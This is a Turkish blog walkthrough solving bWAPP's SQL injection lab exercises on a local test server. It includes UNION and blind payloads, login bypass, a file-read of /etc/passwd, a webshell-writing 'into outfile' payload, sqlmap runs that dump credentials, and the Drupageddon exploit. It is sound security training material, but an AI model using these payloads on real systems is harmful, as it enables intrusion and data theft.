bWAPP Sql Injection
Merhaba. Bu yazımda bWAPP üzerinde yer alan Sql Injection çözümlerini yapacağım. bWAPP’a http://www.itsecgames.com/ adresinden erişebilirsiniz. bWAPP Sql Injection‘ları çözerken zaman almayacak olan kısımlarda manuel olarak ilerledim fakat normal şartlarda gerçek bir senaryoda zafiyeti tespit edip biraz ilerledikten sonra sqlmap ile otomatize ve daha hızlı olarak sonuca ulaşmaktayım. Sql injection yaparken manuel olarak ilerlemek olayın mantığının kavranmasında oldukça fayda sağlamakta. Web penetrasyon testi ve bug bounty yaparken sıklıkla karşılaşılabilen bir zafiyettir.
bWAPP SQL Injection (GET/Search)
Tek tırnak (‘) koyarak syntax hatasını alıyorum.
Daha sonra ‘ or 1=1– – ile her şeyi listeleyebiliyorum.
Sorguya ‘ group by 1,2,3,4,5,6,7,8,9,10– – girerek 7 adet kolon olduğunu öğreniyorum.
Daha sonra -a’ union select 1,group_concat(table_name),3,4,5,6,7 from information_Schema.tables where table_schema=database()– – tablo isimlerini öğreniyorum.
-a’ union select 1,group_concat(login,0x3a,password),3,4,5,6,7 from users– – sorgusu ile bilgileri elde ediyorum. Ayrıca isteklerin url kısmında görüldüğüne dikkat edin.
bWAPP SQL Injection (GET/Select)
Bu kısımda film seçtiğimizde filmler id numarasına göre iletilmekte. Bu kısımda sql injection keşfini (‘) ile yapacağım.
Sql syntax hatasını alıyorum. Daha sonra http://192.168.72.136/bWAPP/sqli_2.php?movie=1 and 1=0 order by 10&action=go payloadı ile 10 adet kolon olmadığını görüyorum, 7 adet kolon vardı. Şimdi elde ettiğimiz bu bilgilerden sonra verileri çekelim.
Username ve password bilgilerini elde ediyorum.
bWAPP SQL Injection (POST/Search)
Tek tırnak attığımda syntax hatasını alıyorum fakat bu kez post isteği olduğu için url kısmında herhangi bir bilgi göremiyorum. 7 adet kolon olduğunu biliyorum bu yüzden hızlıca verileri çekip devam edelim.
Veri çekebileceğim kolonlar ekrana yansıdı. Bu kolonlar üzerinden verileri çekeceğim.
Evet verileri başarılı bir şekilde çektik. İsteklerin url’de görünmediğine dikkat ederek diğer çözüme geçelim.
bWAPP SQL Injection (POST/Select)
Post isteği ile film seçiyoruz ancak url’de yine göremiyoruz. Burp Suite ile araya girerek isteği yakalıyorum.
Seçtiğim filmin id numarasını görüyorum bu kısımdan isteği repeatera atarak devam edeceğim ve veriyi çekeceğim.
bWAPP SQL Injection (AJAX/JSON/jQuery)
Bu kısımda arama yaparken uygulama, sonuçları otomatik olarak doldurmakta.
Sorgu kısmına /sqli_10-2.php?title=the%’+or+title+like+’man% sql sorgusunu girdiğimizde, the ile başlayan filmler ile man ile başlayan filmlerin tamamını getirmekte.
Daha sonra the%’union+select+1,group_concat(login,0x3a,password),3,4,5,6,7+from+users–+-‘ payloadı ile veriyi çekiyorum.
bWAPP SQL Injection (Captcha)
Bu kısımda Sql Injection yapmak için bir Captcha girmemiz gerekiyor. Diğer kısımlarda herhangi bir farklılık yok.
İstek GET metodu ile gitmekte. Bu kısımda verileri çekerek devam edelim.
Bu kısımda farklı olarak load_file isminde istediğimiz dosyayı görebileceğimiz (yetkilerimiz çerçevesinde) bir fonksiyon ile /etc/passwd dosyasını okuyalım. load_file gibi dosya okuyabileceğimiz fonksiyonlar varken karşı tarafa dosya yükleyebileceğimiz fonksiyonda bulunmakta. HackTheBox Academy SQl Injection Fundamentals eğitiminde de uygulamalı olarak gösterildiği gibi hedefe A’ union select 1,””,””,””,”” into outfile “/var/www/html/dashboard/shell.php”– – (bu payloadı o senaryoya uygun olarak hazırladım) şeklinde bir payload ile dosya oluşturulduğunda RCE elde etmekteyiz. Aynısını burada da yapabilirdik.
Başarılı bir şekilde passwd dosyasını okuyabildik.
bWAPP SQL Injection (Login Form/Hero)
Login ve password kısmına 1′ or ‘1’=’1 payloadını girdiğimde bypass ederek login oluyorum.
bWAPP SQL Injection (Login Form/User)
Burp ile araya giriyoruz. Buradan elde ettiğimiz veriler ile sqlmap kullanarak basitçe verileri çekeceğiz.
⚡ root@kali ~ sqlmap -u "http://192.168.72.136/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=c910a7e125a55296a007994622a66884" --data="login=test&password=test&form=submit" --dbs
___
__H__
___ ___[']_____ ___ ___ {1.5#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 01:45:26 /2021-02-22/
[01:45:27] [INFO] testing connection to the target URL
[01:45:27] [WARNING] potential CAPTCHA protection mechanism detected
[01:45:27] [INFO] checking if the target is protected by some kind of WAF/IPS
[01:45:27] [INFO] testing if the target URL content is stable
[01:45:27] [INFO] target URL content is stable
[01:45:27] [INFO] testing if POST parameter 'login' is dynamic
[01:45:28] [WARNING] POST parameter 'login' does not appear to be dynamic
[01:45:28] [INFO] heuristic (basic) test shows that POST parameter 'login' might be injectable (possible DBMS: 'MySQL')
[01:45:28] [INFO] heuristic (XSS) test shows that POST parameter 'login' might be vulnerable to cross-site scripting (XSS) attacks
[01:45:28] [INFO] testing for SQL injection on POST parameter 'login'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[01:45:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:45:31] [WARNING] reflective value(s) found and filtering out
[01:45:31] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[01:45:31] [INFO] testing 'Generic inline queries'
[01:45:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[01:45:32] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[01:45:33] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[01:45:33] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[01:45:34] [INFO] POST parameter 'login' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string="low")
[01:45:34] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[01:45:34] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[01:45:34] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[01:45:34] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[01:45:34] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[01:45:34] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[01:45:34] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[01:45:34] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[01:45:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:45:34] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:45:34] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[01:45:34] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[01:45:34] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[01:45:34] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[01:45:34] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:45:34] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[01:45:34] [INFO] POST parameter 'login' is 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' injectable
[01:45:34] [INFO] testing 'MySQL inline queries'
[01:45:34] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[01:45:34] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[01:45:34] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[01:45:34] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[01:45:34] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[01:45:34] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[01:45:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[01:45:44] [INFO] POST parameter 'login' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[01:45:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:45:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[01:45:44] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:45:44] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[01:45:44] [INFO] target URL appears to have 9 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] n
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[01:45:57] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[01:45:57] [INFO] target URL appears to be UNION injectable with 9 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[01:46:00] [INFO] testing 'MySQL UNION query (32) - 21 to 40 columns'
[01:46:00] [INFO] testing 'MySQL UNION query (32) - 41 to 60 columns'
[01:46:00] [INFO] testing 'MySQL UNION query (32) - 61 to 80 columns'
[01:46:00] [INFO] testing 'MySQL UNION query (32) - 81 to 100 columns'
POST parameter 'login' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 421 HTTP(s) requests:
---
Parameter: login (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: login=test' RLIKE (SELECT (CASE WHEN (1016=1016) THEN 0x74657374 ELSE 0x28 END))-- ZsVR&password=test&form=submit
Type: error-based
Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
Payload: login=test' OR ROW(2872,6299)>(SELECT COUNT(*),CONCAT(0x71627a7171,(SELECT (ELT(2872=2872,1))),0x7176716a71,FLOOR(RAND(0)*2))x FROM (SELECT 6057 UNION SELECT 1510 UNION SELECT 2939 UNION SELECT 6874)a GROUP BY x)-- MPoa&password=test&form=submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: login=test' AND (SELECT 3559 FROM (SELECT(SLEEP(5)))HTJl)-- YjzB&password=test&form=submit
---
[01:46:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 4.1
[01:46:05] [INFO] fetching database names
[01:46:05] [INFO] retrieved: 'information_schema'
[01:46:05] [INFO] retrieved: 'bWAPP'
[01:46:05] [INFO] retrieved: 'drupageddon'
[01:46:05] [INFO] retrieved: 'mysql'
available databases [4]:
[*] bWAPP
[*] drupageddon
[*] information_schema
[*] mysql
Sqlmap çıktısında görüldüğü üzere login kısmında 3 farklı sqli keşfedildi ve bu açıklar ile database isimleri elde ettik.
sqlmap -u "http://192.168.72.136/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=c910a7e125a55296a007994622a66884" --data="login=test&password=test&form=submit" -D bWAPP --tables
bWAPP database içerisinden tabloları çekiyorum.
sqlmap -u "http://192.168.72.136/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=c910a7e125a55296a007994622a66884" --data="login=test&password=test&form=submit" -D bWAPP -T users --dump
Daha sonra kolonlara bakmadan direkt olarak users tablosunu dump ediyorum ve bilgilere ulaşıyorum.
Database: bWAPP
Table: users
[2 entries]
+--------+------------------------------------------------+
| login | password |
+--------+------------------------------------------------+
| A.I.M. | 6885858486f31043e5839c735d99457f045affd0 (bug) |
| bee | 6885858486f31043e5839c735d99457f045affd0 (bug) |
+--------+------------------------------------------------+
Dump etmek yerine kolonları seçip password hashlerine brute-force yaparakta elde edebiliriz.
Elde edilen bilgilerle A.I.M. kullanıcısı olarak giriş yapıyorum.
bWAPP SQL Injection (SQLite)
Klasik order by komutu ile 7 kolon denediğimde hata alıyorum.
order by 6 dediğimde hata gideriliyor ve kolon sayısının 6 olduğunu anlıyorum. SQlite sorguları hakkında bilgi almak için https://www.sqlitetutorial.net/ adresine göz atabilirsiniz.
Sqlite versiyon bilgisi alıyorum.
Tabloları görüntüledikten sonra login ve password çekiyorum. a’ union select 1,sql,3,4,5,6 from sqlite_master– –
bWAPP Drupal SQL Injection (Drupageddon)
Adreste verilen CVE numrası ile Exploit-DB üzerinde arama yapıyoruz ve karşımıza aynı sürüm numarasında olan zafiyetin exploiti çıkıyor.
https://www.exploit-db.com/exploits/34992
Exploiti indirip çalıştıralım.
Exploiti indirip -h ile baktığımızda kullanımı anlatılmakta. Buna uygun olarak gerekli yerleri yazarak exploiti çalıştıralım.
Başarılı bir şekilde Administrator rolünde serdar isminde ve parolası serdar olan bir hesap oluşturuldu.
Oluşturduğumuz hesap ile giriş yapmayı denediğimizde başarılı oluyoruz.
bWAPP SQL Injection – Stored (Blog)
İlk olarak tek tırnak ile hatayı almayı deneyelim.
Hatayı alıyoruz. Şimdi çeşitli sorgular çalıştıralım.
A’, (select user()))– – sorgusunu deniyorum ve yukarda görüldüğü üzere sorgu çalışıyor. (Bu kısımda birkaç deneme yaparak doğru sorguyu buluyorum.)
Daha önceden tablo ve kolon isimlerini bildiğim için direk olarak A’, (select group_concat(login,0x3a,password) from users))– – sorgusunu çalıştırarak sonuca ulaşıyorum.
bWAPP SQL Injection – Stored (SQLite)
İlk olarak herhangi bir yazı yazarak deneme yapıyorum ve yazı ekleniyor.
Daha sonra tek tırnak atarak hatayı almaya çalışıyorum fakat yazı eklenmesine rağmen çıktı göremiyorum. Ardından çeşitli kombinasyonlar deneyerek, yazdığım payloadın eklenip çıktı vermesine uğraşıyorum. Sqlite sql injection için https://github.com/unicornsasfuel/sqlite_sqli_cheat_sheet bu sayfaya göz atabilirsiniz.
‘,(SELECT name FROM sqlite_master WHERE type=’table’)); tablo adını elde ediyorum.
sql ile girdinin eklenmesi için gerekli payload bu şekilde olmakta.
bWAPP SQL Injection – Stored (User-Agent)
Bu kısımda Burp ile araya girerek user-agent bilgisi üzerinden sqli yapacağız.
Görüldüğü gibi user-agent bilgimiz kayıt olmakta.
User-agent bilgisini silip A’ yapıp forward ettiğimde aşağıdaki gibi sql hatasını alıyorum.
Daha sonra user() çıktısı için A’, (select user()))– – payloadını yazıyorum ve forward yapıp user bilgisini alıyorum.
Ardından login ve password bilgisini serdar’,(select group_concat(login,0x3a,password) from users))– – payloadı ile alıyorum.
bWAPP SQL Injection – Stored (XML)
Karşımızda bir buton yer almakta buraya tıklayıp isteğe göz atıyoruz ve bu kısımda sql hatasını almaya çalışacağım.
İsteği yakalayıp repeatera attıktan sonra bee’ yaparak sql hatasını alıyorum.
Daha sonra PayloadAllThings github reposunda yer alan sqli payloadlarından uygun olanı düzenleyip bee’+(select 1 and row(1,1)>(select count(*),concat(CONCAT((select @@VERSION)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+’ bu hale soktuktan sonra versiyon bilgisini alıyoruz.
Veritabanı ismini de alıyorum. bee’+(select 1 and row(1,1)>(select count(*),concat(CONCAT((select database())),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+’
bWAPP SQL Injection – Blind – Boolean-Based
Karşımıza film araması yapabileceğimiz bir kutucuk geliyor. Burada Batman filmini aradığımda veri tabanında olmadığı mesajını alıyoruz. Iron Man araması yaptığımızda veri tabanında olduğunu görüyoruz.
Iron Man’ AND 1=1# çalıştığında true çıktısını alıyoruz.
Iron Man’ AND 1=2# çalıştığında ise false dönmekte. Film veri tabanında olduğu halde 1 sayısı 2’ye eşit olmadığı için false döndü. Buradan Sqli türünü anlamaktayız.
Şimdi de versiyon tespiti yapalım. Iron Man’ AND substring(version(),1,1)=4# sorgusu ile versiyonun 4’e eşit olup olmadığını sorduk. Çıktının true veya false olmasına göre versiyonu öğreneceğiz. Burada çıktı false olduğu için 4’e eşit olmadığını anladık.
Iron Man’ AND substring(version(),1,1)=5# sorgusu sonucu true döndüğü için versiyonun 5 olduğunu öğreniyoruz.
Iron Man’ AND length(database())=4# sorgusu ile database uzunluğunu öğreneceğiz. Bu sorgu false olarak dönmekte, 1 artırarak tekrar sorgulayalım.
Iron Man’ AND length(database())=5# sorgusu true döndüğü için 5 karakter uzunluğunda olduğunu öğrendik. Şimdi ilk harften başlayarak database adını öğrenmeye çalışalım. Zaten database isminin bwapp olduğunu bildiğimiz için ona göre arama yapacağım. Sqlmap ile daha hızlı ve kolay bir şekilde bu uygulamaları gerçekleştirebiliriz.
Iron Man’ AND substring(database(),1,1)=’b’# sorgusu sonucu true dönüyor, ilk harf b. Ben bu kısımdan sonra database ismini zaten bildiğimiz için tamamını bulmak için daha fazla sorgu göndermeyeceğim. Siz ilerleyebilirsiniz.
bWAPP SQL Injection – Blind – Time-Based
Bu sqli açığında ise true false koşulları oluşturup çıktılarını alamadığımızda, sayfanın yanıt süresine göre veri sızdırabilmekteyiz. Hem çok sayıda istek göndermemiz hem de zaman farkına dayanan bir yöntem olduğu için çok daha fazla süre beklememiz gerekecektir. Time based SQL injection yönteminde sonucun hata doğurup doğurmadığı önemli değildir, ancak belli bir koşul gerçekleştiğinde sunucunun daha geç yanıt vermesine dayanarak veriler tahmin edilir.
bWAPP SQL Injection – Blind (SQLite)
Bu kısımda yine film aramamızı sağlayan bir site yer almakta tek fark sqlite kullanması. Iron Man filmi yine veritabanında yer almakta. Fakat aşağıdaki resimde görüldüğü üzere Iron Man’ and 1=2– payloadı ile false yanıt dönmekte.
Tespiti yaptıktan sonra sqlmap ile otomatize bir şekilde veri çekebiliriz.
bWAPP SQL Injection – Blind (WS/SOAP)
Seçtiğimiz film için kaç adet biletin stoklarında olduğunu bildiren bir site.
url kısmında film isminin önüne ‘ or 1=1 girdiğimde bilet sayısı yok oldu.
Film ismi önüne ‘ or ‘1’=’1 girdiğimde ise bilet sayısı geri gelmekte.
Film ismi önüne ‘ or length(database())=4 and ‘1’=’1 payloadını girdiğimde bilet sayısı 78 olarak görünmekte fakat ‘ or length(database())=5 and ‘1’=’1 olarak girdiğimde bilet sayısı 100 olarak görülmekte, buradan database isminin uzunluğunu 5 karakter olduğunu öğreniyoruz.
Versiyon tespiti için ‘ or substring(version(),1,1)=4 and ‘1’=’1 sorgusunu yaptığımda bilet sayısı 78 olarak görülmekte ancak ‘ or substring(version(),1,1)=5 and ‘1’=’1 yaptığımda bilet sayısı 100 olarak görülmekte, buradan versiyonun 5 olduğunu anlıyoruz.
Bu yazının da sonuna geldik. Geri bildirimleriniz için yorum yapabilirsiniz 🙂 Başka yazılarda görüşmek üzere.
Teşekkürler